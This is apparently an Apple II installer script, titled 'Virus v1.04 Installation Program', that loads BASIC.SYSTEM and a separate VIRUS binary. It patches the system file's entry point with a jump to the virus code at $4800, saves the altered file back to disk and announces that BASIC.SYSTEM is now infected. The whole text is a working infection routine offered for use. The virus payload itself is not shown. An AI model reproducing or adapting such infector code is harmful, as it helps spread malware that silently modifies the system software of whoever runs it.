?"Virus v1.04 Installation Program"
?"For infecting BASIC.SYSTEM in D1"
BLOAD BASIC.SYSTEM,A$2000,TSYS,S6
BLOAD VIRUS,A$4800,D2
CALL-151
2000:4C 00 48 01 04 00 00
3D0G
BSAVE BASIC.SYSTEM,A$2000,L$32FF,TSYS,D1
?"BASIC.SYSTEM is now infected."